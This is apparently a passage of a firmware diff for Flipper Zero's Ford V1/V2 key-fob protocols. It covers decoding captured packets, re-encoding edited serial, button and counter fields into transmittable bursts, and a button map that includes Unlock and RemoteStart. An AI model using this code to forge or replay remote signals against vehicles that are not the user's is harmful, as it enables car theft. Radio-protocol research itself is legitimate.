ford_v1_decode_with_flag(raw, len, flag_byte);
}
static void ford_v1_encode_inverse_block(uint8_t block[9]) {
uint8_t sum = 0;
for(size_t i = 1; i <= 7; i++) {
sum = (uint8_t)(sum + block[i]);
}
const uint8_t p6 = block[6];
const uint8_t p7 = block[7];
const uint8_t post6 = (uint8_t)((p6 & 0xAAU) | (p7 & 0x55U));
const uint8_t post7 = (uint8_t)((p7 & 0xAAU) | (p6 & 0x55U));
const uint8_t xorv = (uint8_t)(post6 ^ post7);
uint8_t xor_byte;
if((__builtin_popcount((unsigned int)sum) & 1) != 0) {
block[6] = xorv;
block[7] = post7;
xor_byte = post7;
} else {
block[6] = post6;
block[7] = xorv;
xor_byte = post6;
}
for(size_t i = 1; i <= 5; i++) {
block[i] ^= xor_byte;
}
}
static void ford_v1_encode_air_9bytes(const uint8_t* plain9, uint8_t* air9_out) {
uint8_t block[9];
memcpy(block, plain9, 9);
ford_v1_encode_inverse_block(block);
memcpy(air9_out, block, 9);
}
static bool ford_v1_plain_from_air(const uint8_t air9[9], uint8_t plain9_out[9]) {
for(uint8_t flag = 0; flag < 2; flag++) {
uint8_t cand[9];
memcpy(cand, air9, 9);
ford_v1_decode_with_flag(cand, 9, flag);
uint8_t reair[9];
ford_v1_encode_air_9bytes(cand, reair);
if(memcmp(reair, air9, 9) == 0) {
memcpy(plain9_out, cand, 9);
return true;
}
}
return false;
}
static void ford_v1_fields_from_plain(
const uint8_t plain9[9],
uint32_t* serial_out,
uint8_t* btn_out,
uint32_t* cnt_out) {
*serial_out = ((uint32_t)plain9[1] << 24) | ((uint32_t)plain9[2] << 16) |
((uint32_t)plain9[3] << 8) | plain9[0];
*btn_out = (plain9[5] >> 4) & 0x0F;
*cnt_out = ((plain9[5] & 0x0F) << 16) | (plain9[6] << 8) | plain9[7];
}
static bool ford_v1_process_data(SubGhzProtocolDecoderFordV1* instance) {
uint8_t* raw = instance->raw_bytes;
uint8_t orig[FORD_V1_DATA_BYTES];
@@ -212,10 +267,39 @@ static bool ford_v1_process_data(SubGhzProtocolDecoderFordV1* instance) {
FURI_LOG_D(TAG, "CRC OK, decoding payload");
const uint8_t* const air9 = &raw[6];
uint8_t decoded[9];
memcpy(decoded, &raw[6], 9);
bool strict_ok = false;
bool rolling_ok = false;
ford_v1_decode(decoded, 9);
uint8_t decoded_b0[9];
uint8_t decoded_b1[9];
memcpy(decoded_b0, air9, 9);
ford_v1_decode_with_flag(decoded_b0, 9, 0);
memcpy(decoded_b1, air9, 9);
ford_v1_decode_with_flag(decoded_b1, 9, 1);
if((decoded_b0[3] == raw[5]) && (decoded_b0[4] == raw[6])) {
memcpy(decoded, decoded_b0, 9);
strict_ok = true;
FURI_LOG_D(TAG, "Plain (cleartext) via strict branch 0");
} else if((decoded_b1[3] == raw[5]) && (decoded_b1[4] == raw[6])) {
memcpy(decoded, decoded_b1, 9);
strict_ok = true;
FURI_LOG_D(TAG, "Plain (cleartext) via strict branch 1");
} else if(ford_v1_plain_from_air(air9, decoded)) {
rolling_ok = true;
FURI_LOG_D(TAG, "Plain (encrypted) via encode round-trip");
} else {
memcpy(decoded, air9, 9);
ford_v1_decode(decoded, 9);
FURI_LOG_W(
TAG,
"Descramble unresolved (b0[3]=%02X b1[3]=%02X raw[5]=%02X); header-only",
decoded_b0[3],
decoded_b1[3],
raw[5]);
}
FURI_LOG_D(
TAG,
@@ -230,15 +314,6 @@ static bool ford_v1_process_data(SubGhzProtocolDecoderFordV1* instance) {
decoded[7],
decoded[8]);
if(decoded[3] != raw[5]) {
FURI_LOG_D(TAG, "Decode FAIL: decoded[3]=%02X != raw[5]=%02X", decoded[3], raw[5]);
return false;
}
if(decoded[4] != raw[6]) {
FURI_LOG_D(TAG, "Decode FAIL: decoded[4]=%02X != raw[6]=%02X", decoded[4], raw[6]);
return false;
}
uint16_t recalc_crc = ford_v1_crc16(&raw[3], 12);
instance->crc_calc = recalc_crc;
@@ -256,17 +331,18 @@ static bool ford_v1_process_data(SubGhzProtocolDecoderFordV1* instance) {
instance->data2 = key2;
instance->generic.data_count_bit = FORD_V1_DATA_BITS;
uint8_t btn = (decoded[5] >> 4) & 0x0F;
instance->generic.btn = btn;
uint32_t serial = ((uint32_t)decoded[1] << 24) | ((uint32_t)decoded[2] << 16) |
((uint32_t)decoded[3] << 8) | decoded[0];
instance->generic.serial = serial;
uint32_t cnt = ((decoded[5] & 0x0F) << 16) | (decoded[6] << 8) | decoded[7];
instance->generic.cnt = cnt;
instance->encryption_supported = 1;
if(strict_ok) {
ford_v1_fields_from_plain(
decoded, &instance->generic.serial, &instance->generic.btn, &instance->generic.cnt);
instance->encryption_supported = 1;
} else {
instance->generic.serial = ((uint32_t)raw[3] << 24) | ((uint32_t)raw[4] << 16) |
((uint32_t)raw[5] << 8) | raw[6];
instance->generic.btn = 0;
instance->generic.cnt = 0;
instance->encryption_supported = 0;
(void)rolling_ok;
}
FURI_LOG_I(
TAG,
@@ -314,13 +390,6 @@ static bool ford_v1_try_last_byte_variants(SubGhzProtocolDecoderFordV1* instance
return false;
}
static bool ford_v1_postdecode_ok(const uint8_t* raw17) {
uint8_t dec[9];
memcpy(dec, &raw17[6], 9);
ford_v1_decode(dec, 9);
return (dec[3] == raw17[5]) && (dec[4] == raw17[6]);
}
static bool ford_v1_extract_plain_from_raw(
const uint8_t* raw17_in,
uint8_t* plain9_out,
@@ -344,16 +413,27 @@ static bool ford_v1_extract_plain_from_raw(
return false;
}
memcpy(plain9_out, &raw[6], 9);
ford_v1_decode(plain9_out, 9);
if(!ford_v1_postdecode_ok(raw)) {
return false;
for(uint8_t flag = 0; flag < 2; flag++) {
uint8_t cand[9];
memcpy(cand, &raw[6], 9);
ford_v1_decode_with_flag(cand, 9, flag);
if((cand[3] == raw[5]) && (cand[4] == raw[6])) {
memcpy(plain9_out, cand, 9);
if(raw17_canonical_out_opt) {
memcpy(raw17_canonical_out_opt, raw, FORD_V1_DATA_BYTES);
}
return true;
}
}
if(raw17_canonical_out_opt) {
memcpy(raw17_canonical_out_opt, raw, FORD_V1_DATA_BYTES);
if(ford_v1_plain_from_air(&raw[6], plain9_out)) {
if(raw17_canonical_out_opt) {
memcpy(raw17_canonical_out_opt, raw, FORD_V1_DATA_BYTES);
}
return true;
}
return true;
return false;
}
void* subghz_protocol_decoder_ford_v1_alloc(SubGhzEnvironment* environment) {
@@ -365,12 +445,6 @@ void* subghz_protocol_decoder_ford_v1_alloc(SubGhzEnvironment* environment) {
return instance;
}
void subghz_protocol_decoder_ford_v1_free(void* context) {
furi_check(context);
SubGhzProtocolDecoderFordV1* instance = context;
free(instance);
}
void subghz_protocol_decoder_ford_v1_reset(void* context) {
furi_check(context);
SubGhzProtocolDecoderFordV1* instance = context;
@@ -596,21 +670,6 @@ static uint16_t ford_v1_crc16_from_key3_bytes(const uint8_t key3[4]) {
return (uint16_t)(crc & 0xFFFFU);
}
static bool ford_v1_flipper_read_serial_u32(FlipperFormat* ff, uint32_t* out_serial) {
flipper_format_rewind(ff);
if(flipper_format_read_uint32(ff, "Serial", out_serial, 1)) {
return true;
}
uint8_t ser_be[4];
flipper_format_rewind(ff);
if(flipper_format_read_hex(ff, "Serial", ser_be, sizeof(ser_be))) {
*out_serial = ((uint32_t)ser_be[0] << 24) | ((uint32_t)ser_be[1] << 16) |
((uint32_t)ser_be[2] << 8) | (uint32_t)ser_be[3];
return true;
}
return false;
}
static uint64_t ford_v1_u64_from_be_key8(const uint8_t key8[8]) {
uint64_t v = 0;
for(int i = 0; i < 8; i++) {
@@ -720,11 +779,15 @@ SubGhzProtocolStatus
if(ret == SubGhzProtocolStatusOk) {
flipper_format_rewind(flipper_format);
uint8_t key1_bytes[8] = {0};
flipper_format_read_hex(flipper_format, "Key", key1_bytes, 8);
if(!flipper_format_read_hex(flipper_format, "Key", key1_bytes, 8)) {
return SubGhzProtocolStatusErrorParserKey;
}
flipper_format_rewind(flipper_format);
uint8_t key2_bytes[8] = {0};
flipper_format_read_hex(flipper_format, "Key_2", key2_bytes, 8);
if(!flipper_format_read_hex(flipper_format, "Key_2", key2_bytes, 8)) {
return SubGhzProtocolStatusErrorParserOthers;
}
flipper_format_rewind(flipper_format);
uint8_t key3_bytes[4] = {0};
@@ -742,33 +805,41 @@ SubGhzProtocolStatus
instance->generic.data = k1;
instance->data2 = k2;
if(extract_ok) {
instance->encryption_supported = 1;
} else {
uint16_t calc_crc = ford_v1_crc16(&raw[3], 12);
uint16_t recv_crc = ((uint16_t)raw[15] << 8) | raw[16];
instance->encryption_supported = (calc_crc == recv_crc) ? 1 : 0;
}
instance->encryption_supported =
(extract_ok && (plain9_tmp[3] == raw[5]) && (plain9_tmp[4] == raw[6])) ? 1 : 0;
memcpy(instance->raw_bytes, raw, FORD_V1_DATA_BYTES);
uint32_t u32 = 0;
if(ford_v1_flipper_read_serial_u32(flipper_format, &u32)) {
instance->generic.serial = u32;
}
flipper_format_rewind(flipper_format);
if(flipper_format_read_uint32(flipper_format, "Btn", &u32, 1)) {
instance->generic.btn = (uint8_t)u32;
}
flipper_format_rewind(flipper_format);
if(flipper_format_read_uint32(flipper_format, "Cnt", &u32, 1)) {
instance->generic.cnt = u32;
{
uint32_t serial = UINT32_MAX;
uint32_t btn = UINT32_MAX;
uint32_t cnt = UINT32_MAX;
flipper_format_rewind(flipper_format);
if(!flipper_format_read_uint32(flipper_format, "Serial", &serial, 1))
serial = UINT32_MAX;
flipper_format_rewind(flipper_format);
if(!flipper_format_read_uint32(flipper_format, "Btn", &btn, 1))
btn = UINT32_MAX;
flipper_format_rewind(flipper_format);
if(!flipper_format_read_uint32(flipper_format, "Cnt", &cnt, 1))
cnt = UINT32_MAX;
if(serial == UINT32_MAX || btn == UINT32_MAX || cnt == UINT32_MAX) {
return SubGhzProtocolStatusErrorParserOthers;
}
instance->generic.serial = serial;
instance->generic.btn = (uint8_t)btn;
instance->generic.cnt = cnt;
}
}
return ret;
}
void subghz_protocol_decoder_ford_v1_free(void* context) {
furi_check(context);
free(context);
}
void subghz_protocol_decoder_ford_v1_get_string(void* context, FuriString* output) {
furi_check(context);
SubGhzProtocolDecoderFordV1* instance = context;
@@ -812,40 +883,49 @@ void subghz_protocol_decoder_ford_v1_get_string(void* context, FuriString* outpu
(unsigned long)crc16,
crc_ok ? "OK" : "ERR");
} else {
uint16_t calc_crc = crc16;
(void)calc_crc;
uint8_t raw[FORD_V1_DATA_BYTES];
ford_v1_raw14_from_internal_keys(key1, key2, raw);
raw[15] = (uint8_t)((crc >> 8) & 0xFF);
raw[16] = (uint8_t)(crc & 0xFF);
uint16_t check_crc = ford_v1_crc16(&raw[3], 12);
bool crc_ok = (check_crc == crc16);
uint32_t device_id = ((uint32_t)raw[3] << 24) | ((uint32_t)raw[4] << 16) |
((uint32_t)raw[5] << 8) | raw[6];
furi_string_cat_printf(
output,
"%s %dbit\r\n"
"%014llX%06llX\r\n"
"%010llX%04lX\r\n"
"CRC:%04lX [%s]\r\n",
"Sn:%08lX\r\n"
"CRC:%04lX [%s]\r\n"
"Encryption not supported !\r\n",
instance->generic.protocol_name,
instance->generic.data_count_bit,
(unsigned long long)key1,
(unsigned long long)(key2 >> 40),
(unsigned long long)(key2 & 0xFFFFFFFFFFULL),
(unsigned long)crc16,
(unsigned long)device_id,
(unsigned long)crc16,
"ERR");
crc_ok ? "OK" : "ERR");
}
}
#define FORD_V1_ENC_UPLOAD_U32 0x1932U
#define FORD_V1_ENC_UPLOAD_ALLOC 0x64D0U
#define FORD_V1_ENC_BURST_U32 0x433U
#define FORD_V1_ENC_BURST_COUNT 6U
#define FORD_V1_ENC_BURST_COUNT 6U
#define FORD_V1_ENC_PREAMBLE_PAIRS 400U
#define FORD_V1_ENC_BURST_LD_COUNT \
((FORD_V1_ENC_PREAMBLE_PAIRS * 2U) + 2U + (FORD_V1_DATA_BYTES * 16U) + 1U)
#define FORD_V1_ENC_SYNC_SHORT_US 65U
#define FORD_V1_ENC_SYNC_LONG_US 130U
#define FORD_V1_ENC_GAP_REPEAT_US 50000U
#define FORD_V1_ENC_GAP_LAST_US 260U
#if(FORD_V1_ENC_BURST_U32 * FORD_V1_ENC_BURST_COUNT) != FORD_V1_ENC_UPLOAD_U32
#if FORD_V1_ENC_BURST_LD_COUNT != 0x433U
#error Ford V1 encoder burst layout constants out of sync
#endif
#define FORD_V1_ENC_LD_PREAM_A 0x80000082U
#define FORD_V1_ENC_LD_PREAM_B 0x40000082U
#define FORD_V1_ENC_LD_SYNC_LO 0x40000041U
#define FORD_V1_ENC_LD_GAP_REPEAT 0x4000C350U
#define FORD_V1_ENC_LD_GAP_LAST 0x40000104U
#define FORD_V1_ENC_MANCHESTER_OR 0x41U
static const uint8_t ford_v1_encoder_burst_pkt4_vals[6] = {0x08, 0x00, 0x10, 0x08, 0x00, 0x10};
@@ -859,55 +939,9 @@ typedef struct SubGhzProtocolEncoderFordV1 {
uint8_t raw_tx[FORD_V1_DATA_BYTES];
uint8_t encryption_supported;
uint8_t plain_valid;
uint8_t burst_idx;
} SubGhzProtocolEncoderFordV1;
static void ford_v1_plain9_get_fields(
const uint8_t plain9[9],
uint32_t* serial,
uint8_t* btn,
uint32_t* cnt) {
*serial = ((uint32_t)plain9[1] << 24) | ((uint32_t)plain9[2] << 16) |
((uint32_t)plain9[3] << 8) | (uint32_t)plain9[0];
*btn = (uint8_t)((plain9[5] >> 4) & 0x0FU);
*cnt = ((uint32_t)(plain9[5] & 0x0FU) << 16) | ((uint32_t)plain9[6] << 8) |
(uint32_t)plain9[7];
}
static void ford_v1_encode_inverse_block(uint8_t block[9]) {
uint8_t sum = 0;
for(size_t i = 1; i <= 7; i++) {
sum = (uint8_t)(sum + block[i]);
}
const uint8_t p6 = block[6];
const uint8_t p7 = block[7];
const uint8_t post6 = (uint8_t)((p6 & 0xAAU) | (p7 & 0x55U));
const uint8_t post7 = (uint8_t)((p7 & 0xAAU) | (p6 & 0x55U));
const uint8_t xorv = (uint8_t)(post6 ^ post7);
uint8_t xor_byte;
if((__builtin_popcount((unsigned int)sum) & 1) != 0) {
block[6] = xorv;
block[7] = post7;
xor_byte = post7;
} else {
block[6] = post6;
block[7] = xorv;
xor_byte = post6;
}
for(size_t i = 1; i <= 5; i++) {
block[i] ^= xor_byte;
}
}
static void ford_v1_encode_air_9bytes(const uint8_t* plain9, uint8_t* air9_out) {
uint8_t block[9];
memcpy(block, plain9, 9);
ford_v1_encode_inverse_block(block);
memcpy(air9_out, block, 9);
}
static void
ford_v1_plain_apply_fields(uint8_t* plain9, uint32_t serial, uint8_t btn, uint32_t cnt) {
uint8_t chk = (uint8_t)(plain9[8] - plain9[6] - plain9[7] - plain9[5]);
@@ -993,91 +1027,38 @@ static void ford_v1_encoder_patch_key1_low_bits(SubGhzProtocolEncoderFordV1* ins
instance->generic.data = (k & 0xFFFFFFFF00000000ULL) | (uint64_t)lo;
}
static void ford_v1_encoder_build_upload(SubGhzProtocolEncoderFordV1* instance) {
uint32_t* const upload_u32 = (uint32_t*)instance->encoder.upload;
static void ford_v1_encoder_build_burst(SubGhzProtocolEncoderFordV1* instance, uint8_t burst_idx) {
LevelDuration* const upload = instance->encoder.upload;
uint8_t pkt[FORD_V1_DATA_BYTES];
memcpy(pkt, instance->raw_tx, FORD_V1_DATA_BYTES);
const uint32_t pat_a = FORD_V1_ENC_LD_PREAM_A;
const uint32_t pat_b = FORD_V1_ENC_LD_PREAM_B;
const uint32_t sync_word = FORD_V1_ENC_LD_PREAM_A;
const uint32_t sync_lo = FORD_V1_ENC_LD_SYNC_LO;
pkt[4] = ford_v1_encoder_burst_pkt4_vals[burst_idx];
uint16_t crcw = ford_v1_crc16(&pkt[3], 12);
pkt[15] = (uint8_t)(crcw >> 8);
pkt[16] = (uint8_t)(crcw & 0xFFU);
int i6 = 0;
uint32_t* r7 = (uint32_t*)((uint8_t*)upload_u32 + 0xc80);
unsigned burst_idx = 0;
furi_check(sizeof(ford_v1_encoder_burst_pkt4_vals) == FORD_V1_ENC_BURST_COUNT);
for(;;) {
furi_check(burst_idx < FORD_V1_ENC_BURST_COUNT);
pkt[4] = ford_v1_encoder_burst_pkt4_vals[burst_idx];
uint16_t crcw = ford_v1_crc16(&pkt[3], 12);
pkt[15] = (uint8_t)(crcw >> 8);
pkt[16] = (uint8_t)(crcw & 0xFFU);
{
char hx[40];
size_t o = 0;
for(size_t u = 0; u < FORD_V1_DATA_BYTES && o + 2 < sizeof(hx); u++) {
int n = snprintf(hx + o, sizeof(hx) - o, "%02X", pkt[u]);
if(n <= 0) break;
o += (size_t)n;
}
FURI_LOG_I(TAG, "Encoder TX burst %u/6 raw17=%s", (unsigned)(burst_idx + 1U), hx);
}
FURI_LOG_D(
TAG,
"Encoder TX build burst %u/%u: pkt[4]=%02X CRC=%04X raw[0..3]=%02X%02X%02X%02X",
(unsigned)(burst_idx + 1U),
(unsigned)FORD_V1_ENC_BURST_COUNT,
(unsigned)pkt[4],
(unsigned)crcw,
(unsigned)pkt[0],
(unsigned)pkt[1],
(unsigned)pkt[2],
(unsigned)pkt[3]);
burst_idx++;
uint32_t* pu19 = r7 - 800;
while(pu19 != r7) {
pu19[0] = pat_a;
pu19[1] = pat_b;
pu19 += 2;
}
r7[1] = sync_lo;
r7[0] = sync_word;
int ip = i6 + 0x322;
for(int by = 0; by < FORD_V1_DATA_BYTES; by++) {
uint8_t b = pkt[by];
uint32_t* pu10 = upload_u32 + ip;
for(int bit_i = 7; bit_i >= 0; bit_i--) {
uint32_t w_hi_pair;
uint32_t w_lo_pair;
if(((b >> bit_i) & 1) == 0) {
w_hi_pair = (2U << 30) | FORD_V1_ENC_MANCHESTER_OR;
w_lo_pair = (1U << 30) | FORD_V1_ENC_MANCHESTER_OR;
} else {
w_hi_pair = (1U << 30) | FORD_V1_ENC_MANCHESTER_OR;
w_lo_pair = (2U << 30) | FORD_V1_ENC_MANCHESTER_OR;
}
pu10[0] = w_lo_pair;
pu10[1] = w_hi_pair;
pu10 += 2;
}
ip += 0x10;
}
i6 += (int)FORD_V1_ENC_BURST_U32;
if(i6 == (int)FORD_V1_ENC_UPLOAD_U32) {
break;
}
r7[0x112] = FORD_V1_ENC_LD_GAP_REPEAT;
r7 = (uint32_t*)((uint8_t*)r7 + 0x10cc);
size_t index = 0;
for(size_t i = 0; i < FORD_V1_ENC_PREAMBLE_PAIRS; i++) {
upload[index++] = level_duration_make(true, FORD_V1_ENC_SYNC_LONG_US);
upload[index++] = level_duration_make(false, FORD_V1_ENC_SYNC_LONG_US);
}
r7[0x112] = FORD_V1_ENC_LD_GAP_LAST;
upload[index++] = level_duration_make(true, FORD_V1_ENC_SYNC_LONG_US);
upload[index++] = level_duration_make(false, FORD_V1_ENC_SYNC_SHORT_US);
instance->encoder.size_upload = FORD_V1_ENC_UPLOAD_U32;
for(size_t by = 0; by < FORD_V1_DATA_BYTES; by++) {
uint8_t b = pkt[by];
for(int bit_i = 7; bit_i >= 0; bit_i--) {
bool bit = ((b >> bit_i) & 1U) != 0U;
upload[index++] = level_duration_make(bit, FORD_V1_ENC_SYNC_SHORT_US);
upload[index++] = level_duration_make(!bit, FORD_V1_ENC_SYNC_SHORT_US);
}
}
upload[index++] = level_duration_make(
false,
(burst_idx + 1U == FORD_V1_ENC_BURST_COUNT) ? FORD_V1_ENC_GAP_LAST_US :
FORD_V1_ENC_GAP_REPEAT_US);
instance->encoder.size_upload = FORD_V1_ENC_BURST_LD_COUNT;
instance->encoder.front = 0;
}
@@ -1088,10 +1069,10 @@ void* subghz_protocol_encoder_ford_v1_alloc(SubGhzEnvironment* environment) {
instance->base.protocol = &ford_protocol_v1;
instance->generic.protocol_name = instance->base.protocol->name;
instance->encoder.repeat = 10;
instance->encoder.size_upload = 0;
instance->encoder.front = 0;
instance->encoder.is_running = false;
instance->encoder.upload = malloc(FORD_V1_ENC_UPLOAD_ALLOC);
instance->burst_idx = 0;
instance->encoder.upload = malloc(FORD_V1_ENC_BURST_LD_COUNT * sizeof(LevelDuration));
furi_check(instance->encoder.upload);
return instance;
}
@@ -1099,10 +1080,35 @@ void* subghz_protocol_encoder_ford_v1_alloc(SubGhzEnvironment* environment) {
void subghz_protocol_encoder_ford_v1_free(void* context) {
furi_check(context);
SubGhzProtocolEncoderFordV1* instance = context;
free(instance->encoder.upload);
if(instance->encoder.upload) {
free(instance->encoder.upload);
instance->encoder.upload = NULL;
}
free(instance);
}
void subghz_protocol_encoder_ford_v1_stop(void* context) {
furi_check(context);
SubGhzProtocolEncoderFordV1* instance = context;
instance->encoder.is_running = false;
instance->encoder.front = 0;
}
LevelDuration subghz_protocol_encoder_ford_v1_yield(void* context) {
furi_check(context);
SubGhzProtocolEncoderFordV1* instance = context;
if(instance->encoder.repeat == 0 || !instance->encoder.is_running || instance->encoder.size_upload == 0) {
instance->encoder.is_running = false;
return level_duration_reset();
}
LevelDuration ret = instance->encoder.upload[instance->encoder.front];
if(++instance->encoder.front == instance->encoder.size_upload) {
instance->encoder.repeat--;
instance->encoder.front = 0;
}
return ret;
}
SubGhzProtocolStatus
subghz_protocol_encoder_ford_v1_deserialize(void* context, FlipperFormat* flipper_format) {
furi_check(context);
@@ -1113,17 +1119,20 @@ SubGhzProtocolStatus
instance->encoder.front = 0;
instance->encoder.repeat = 10;
instance->plain_valid = 0;
FuriString* temp_str = furi_string_alloc();
furi_check(temp_str);
instance->burst_idx = 0;
do {
flipper_format_rewind(flipper_format);
if(!flipper_format_read_string(flipper_format, "Protocol", temp_str)) {
break;
}
if(!furi_string_equal(temp_str, instance->base.protocol->name)) {
break;
{
flipper_format_rewind(flipper_format);
FuriString* tmp = furi_string_alloc();
bool name_ok = false;
if(flipper_format_read_string(flipper_format, "Protocol", tmp)) {
if(furi_string_equal_str(tmp, instance->base.protocol->name)) {
name_ok = true;
}
}
furi_string_free(tmp);
if(!name_ok) break;
}
flipper_format_rewind(flipper_format);
@@ -1179,34 +1188,22 @@ SubGhzProtocolStatus
ford_v1_encoder_keys_from_raw(instance);
{
uint32_t ser_fb = 0;
uint32_t cnt_fb = 0;
uint8_t btn_fb = 0;
ford_v1_plain9_get_fields(instance->plain9, &ser_fb, &btn_fb, &cnt_fb);
uint32_t u32 = 0;
if(ford_v1_flipper_read_serial_u32(flipper_format, &u32)) {
instance->generic.serial = u32;
} else {
instance->generic.serial = ser_fb;
}
uint32_t serial = UINT32_MAX;
uint32_t btn = UINT32_MAX;
uint32_t cnt = UINT32_MAX;
flipper_format_rewind(flipper_format);
if(flipper_format_read_uint32(flipper_format, "Btn", &u32, 1)) {
instance->generic.btn = (uint8_t)u32;
} else {
instance->generic.btn = btn_fb;
}
if(!flipper_format_read_uint32(flipper_format, "Serial", &serial, 1))
serial = UINT32_MAX;
flipper_format_rewind(flipper_format);
if(flipper_format_read_uint32(flipper_format, "Cnt", &u32, 1)) {
instance->generic.cnt = u32;
} else {
instance->generic.cnt = cnt_fb;
}
instance->generic.cnt &= 0xFFFFFU;
instance->generic.btn &= 0x0FU;
if(!flipper_format_read_uint32(flipper_format, "Btn", &btn, 1))
btn = UINT32_MAX;
flipper_format_rewind(flipper_format);
if(!flipper_format_read_uint32(flipper_format, "Cnt", &cnt, 1))
cnt = UINT32_MAX;
if(serial == UINT32_MAX || btn == UINT32_MAX || cnt == UINT32_MAX) break;
instance->generic.serial = serial;
instance->generic.btn = (uint8_t)(btn & 0x0FU);
instance->generic.cnt = cnt & 0xFFFFFU;
}
{
@@ -1225,15 +1222,15 @@ SubGhzProtocolStatus
ford_v1_encoder_patch_key1_low_bits(instance);
flipper_format_rewind(flipper_format);
uint32_t repeat_tmp = 10;
if(flipper_format_read_uint32(flipper_format, "Repeat", &repeat_tmp, 1)) {
instance->encoder.repeat = repeat_tmp;
} else {
instance->encoder.repeat = 10;
{
flipper_format_rewind(flipper_format);
uint32_t repeat_val = 0;
instance->encoder.repeat =
flipper_format_read_uint32(flipper_format, "Repeat", &repeat_val, 1) ? repeat_val :
10;
}
ford_v1_encoder_build_upload(instance);
ford_v1_encoder_build_burst(instance, instance->burst_idx);
{
flipper_format_rewind(flipper_format);
@@ -1251,47 +1248,7 @@ SubGhzProtocolStatus
ret = SubGhzProtocolStatusOk;
} while(false);
furi_string_free(temp_str);
return ret;
}
void subghz_protocol_encoder_ford_v1_stop(void* context) {
furi_check(context);
SubGhzProtocolEncoderFordV1* instance = context;
instance->encoder.is_running = false;
}
LevelDuration subghz_protocol_encoder_ford_v1_yield(void* context) {
furi_check(context);
SubGhzProtocolEncoderFordV1* instance = context;
if(!instance->encoder.is_running || instance->encoder.repeat == 0) {
instance->encoder.is_running = false;
return level_duration_reset();
}
LevelDuration ret = instance->encoder.upload[instance->encoder.front];
if(++instance->encoder.front == instance->encoder.size_upload) {
FURI_LOG_D(
TAG,
"Encoder yield: finished one full %lu-word frame (all %u bursts); repeats_left=%u",
(unsigned long)instance->encoder.size_upload,
(unsigned)FORD_V1_ENC_BURST_COUNT,
subghz_block_generic_global.endless_tx ? (unsigned)instance->encoder.repeat :
(unsigned)instance->encoder.repeat - 1U);
if(!subghz_block_generic_global.endless_tx) instance->encoder.repeat--;
instance->encoder.front = 0;
} else if(instance->encoder.front <= 4U) {
uint32_t raw_word;
memcpy(&raw_word, &ret, sizeof(raw_word));
FURI_LOG_D(
TAG,
"Encoder yield[%lu/%lu]: LevelDuration u32=0x%08lX",
(unsigned long)instance->encoder.front - 1UL,
(unsigned long)instance->encoder.size_upload,
(unsigned long)raw_word);
}
return ret;
}
+51 -183
View File
@@ -1,49 +1,35 @@
#include "ford_v2.h"
#include <furi.h>
#include <string.h>
#include <lib/toolbox/manchester_decoder.h>
#include <lib/toolbox/manchester_encoder.h>
#include <lib/subghz/blocks/custom_btn_i.h>
#define FORD_V2_TE_SHORT 200U
#define FORD_V2_TE_LONG 400U
#define FORD_V2_TE_DELTA 260U
#define FORD_V2_INTER_BURST_GAP_US 15000U
#define FORD_V2_PREAMBLE_MIN 64U
#define FORD_V2_DATA_BITS 104U
#define FORD_V2_DATA_BYTES 13U
#define FORD_V2_SYNC_0 0x7FU
#define FORD_V2_SYNC_1 0xA7U
#define FORD_V2_ENC_TE_SHORT 240U
#define FORD_V2_ENC_PREAMBLE_PAIRS 70U
#define FORD_V2_ENC_BURST_COUNT 6U
#define FORD_V2_TE_SHORT 200U
#define FORD_V2_TE_LONG 400U
#define FORD_V2_TE_DELTA 260U
#define FORD_V2_INTER_BURST_GAP_US 15000U
#define FORD_V2_PREAMBLE_MIN 64U
#define FORD_V2_DATA_BITS 104U
#define FORD_V2_DATA_BYTES 13U
#define FORD_V2_SYNC_0 0x7FU
#define FORD_V2_SYNC_1 0xA7U
#define FORD_V2_ENC_TE_SHORT 240U
#define FORD_V2_ENC_PREAMBLE_PAIRS 70U
#define FORD_V2_ENC_BURST_COUNT 6U
#define FORD_V2_ENC_INTER_BURST_GAP_US 16000U
#define FORD_V2_ENC_ALLOC_ELEMS 2600U
#define FORD_V2_ENC_SEPARATOR_ELEMS 2U
#define FORD_V2_ENC_PREAMBLE_ELEMS (FORD_V2_ENC_PREAMBLE_PAIRS * 2U)
#define FORD_V2_ENC_DATA_ELEMS ((FORD_V2_DATA_BITS - 1U) * 2U)
#define FORD_V2_ENC_SEPARATOR_ELEMS 2U
#define FORD_V2_ENC_PREAMBLE_ELEMS (FORD_V2_ENC_PREAMBLE_PAIRS * 2U)
#define FORD_V2_ENC_DATA_ELEMS ((FORD_V2_DATA_BITS - 1U) * 2U)
#define FORD_V2_ENC_BURST_ELEMS \
(FORD_V2_ENC_PREAMBLE_ELEMS + FORD_V2_ENC_SEPARATOR_ELEMS + FORD_V2_ENC_DATA_ELEMS)
#define FORD_V2_ENC_UPLOAD_ELEMS \
(FORD_V2_ENC_BURST_COUNT * FORD_V2_ENC_BURST_ELEMS + (FORD_V2_ENC_BURST_COUNT - 1U))
#define FORD_V2_ENC_SYNC_LO_US 476U
#define FORD_V2_SYNC_BITS 16U
#define FORD_V2_SYNC_BITS 16U
#define FORD_V2_POST_SYNC_DECODE_COUNT_BIT 16U
#define FORD_V2_KEY_BYTE_COUNT 8U
#define FORD_V2_TAIL_RAW_BYTE_COUNT 5U
#define FORD_V2_PREAMBLE_COUNT_MAX 0xFFFFU
#define FORD_V2_ENCODER_DEFAULT_REPEAT 10U
SUBGHZ_CUSTOM_BTN_DEFINE_MAP(
ford_v2,
{SUBGHZ_CUSTOM_BTN_OK, 0x11}, /* OK → Unlock */
{SUBGHZ_CUSTOM_BTN_UP, 0x10}, /* Up → Lock */
{SUBGHZ_CUSTOM_BTN_DOWN, 0x13}, /* Down → Trunk */
{SUBGHZ_CUSTOM_BTN_LEFT, 0x14}, /* Left → Panic */
{SUBGHZ_CUSTOM_BTN_RIGHT, 0x15}, /* Right → RemoteStart */
)
#define FORD_V2_KEY_BYTE_COUNT 8U
#define FORD_V2_TAIL_RAW_BYTE_COUNT 5U
#define FORD_V2_PREAMBLE_COUNT_MAX 0xFFFFU
#define FORD_V2_ENCODER_DEFAULT_REPEAT 10U
static const uint16_t ford_v2_sync_shift16_inv =
(uint16_t)(~(((uint16_t)FORD_V2_SYNC_0 << 8) | (uint16_t)FORD_V2_SYNC_1));
@@ -110,7 +96,8 @@ static void ford_v2_decoder_reset_state(SubGhzProtocolDecoderFordV2* instance) {
memset(instance->raw_bytes, 0, sizeof(instance->raw_bytes));
manchester_advance(instance->manchester_state, ManchesterEventReset, &instance->manchester_state, NULL);
manchester_advance(
instance->manchester_state, ManchesterEventReset, &instance->manchester_state, NULL);
}
static bool ford_v2_duration_is_short(uint32_t duration) {
@@ -168,8 +155,7 @@ static void ford_v2_decoder_extract_from_raw(SubGhzProtocolDecoderFordV2* instan
